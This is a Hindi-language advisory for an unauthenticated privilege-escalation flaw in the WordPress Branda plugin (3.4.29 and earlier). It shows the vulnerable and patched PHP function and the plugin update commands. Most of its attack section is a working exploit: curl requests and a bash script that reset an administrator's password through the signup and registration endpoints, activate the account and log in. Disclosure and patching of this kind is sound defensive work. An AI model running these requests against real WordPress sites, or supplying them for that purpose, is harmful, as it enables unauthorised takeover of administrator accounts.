
खाता अधिग्रहण के माध्यम से अनप्रमाणित विशेषाधिकार वृद्धि
WordPress के लिए Branda प्लगइन सभी संस्करणों (3.4.29 तक और सहित) में खाता अधिग्रहण के माध्यम से विशेषाधिकार वृद्धि के लिए संवेदनशील है। यह इस कारण है कि प्लगइन किसी उपयोगकर्ता की पहचान को उनका पासवर्ड अपडेट करने से पहले ठीक से सत्यापित नहीं करता है। इससे अप्रमाणित हमलावरों के लिए किसी भी उपयोगकर्ता का पासवर्ड बदलना संभव हो जाता है, जिसमें प्रशासक भी शामिल हैं, और इसका उपयोग करके उनके खाते तक पहुंच प्राप्त कर सकते हैं।
/inc/modules/login-screen/signup-password.php
संवेदनशील संस्करण में pre_insert_user_data() फ़ंक्शन में उचित सत्यापन का अभाव है:
// Vulnerable version (3.4.29)
public function pre_insert_user_data( $data, $update, $id ) {
if ( is_multisite() ) {
// Multisite code...
}
// Missing: if ($update) return $data; <-- VULNERABILITY
if ( empty( $data['user_pass'] ) && empty( $_POST['password_1'] ) ) {
$data['user_pass'] = wp_hash_password( wp_generate_password( 20, false ) );
} elseif ( ! empty( $_POST['password_1'] ) ) {
// Set the password from POST data
$data['user_pass'] = wp_hash_password( $_POST['password_1'] );
}
return $data;
}
public function pre_insert_user_data( $data, $update, $id ) {
if ( is_multisite() ) {
// Multisite code with proper checks...
}
// FIX: Added check to prevent updating existing users
if ( $update ) {
return $data;
}
if ( empty( $data['user_pass'] ) && empty( $_POST['password_1'] ) ) {
$data['user_pass'] = wp_hash_password( wp_generate_password( 20, false ) );
} elseif ( ! empty( $_POST['password_1'] ) ) {
$data['user_pass'] = wp_hash_password( $_POST['password_1'] );
}
return $data;
}
/wp-signup.php तक पहुंचता हैpassword_1 पैरामीटर के माध्यम से कस्टम पासवर्ड सेट करता है/wp-login.php?action=register तक पहुंचता हैcurl -s -k "https://TARGET/wp-login.php?action=register" | grep -i "registration"
curl -s -k -I "https://TARGET/wp-signup.php" | grep "HTTP/"
curl -s -k -c cookies.txt -b cookies.txt \
-X POST "https://TARGET/wp-signup.php" \
-d "user_name=admin" \
-d "[email protected]" \
-d "password_1=NewP@ssw0rd!" \
-d "password_2=NewP@ssw0rd!" \
-d "signup_for=blog"
curl -s -k -c cookies.txt -b cookies.txt \
-X POST "https://TARGET/wp-login.php?action=register" \
-d "user_login=admin" \
-d "[email protected]" \
-d "password_1=NewP@ssw0rd!" \
-d "password_2=NewP@ssw0rd!" \
-d "wp-submit=Register"
# Extract activation key from email and visit:
curl -s -k -c cookies.txt -b cookies.txt \
"https://TARGET/wp-activate.php?key=ACTIVATION_KEY"
curl -s -k -c cookies.txt -b cookies.txt \
-X POST "https://TARGET/wp-login.php" \
-d "log=admin" \
-d "pwd=NewP@ssw0rd!" \
-d "wp-submit=Log In" \
-L | grep -i "dashboard\|wp-admin\|error"
#!/bin/bash
TARGET="https://TARGET"
USERNAME="admin"
NEW_PASSWORD="Pwned$(date +%s)!"
echo "[*] Registering $USERNAME with password $NEW_PASSWORD..."
# Multisite attack
curl -s -k -c /tmp/cookies.txt \
-X POST "$TARGET/wp-signup.php" \
-d "user_name=$USERNAME" \
-d "[email protected]" \
-d "password_1=$NEW_PASSWORD" \
-d "password_2=$NEW_PASSWORD"
echo "[*] Check email for activation link"
echo "[*] After activation, try: curl -X POST $TARGET/wp-login.php -d 'log=$USERNAME' -d 'pwd=$NEW_PASSWORD'"
Settings > General > Membership: Anyone can register)Branda प्लगइन को संस्करण 3.4.31 या बाद के संस्करण में अपडेट करें:
# Via WordPress Admin
Dashboard > Plugins > Branda > Update
# Via WP-CLI
wp plugin update branda-white-labeling
# Via SSH
wp plugin update branda-white-labeling --version=3.4.31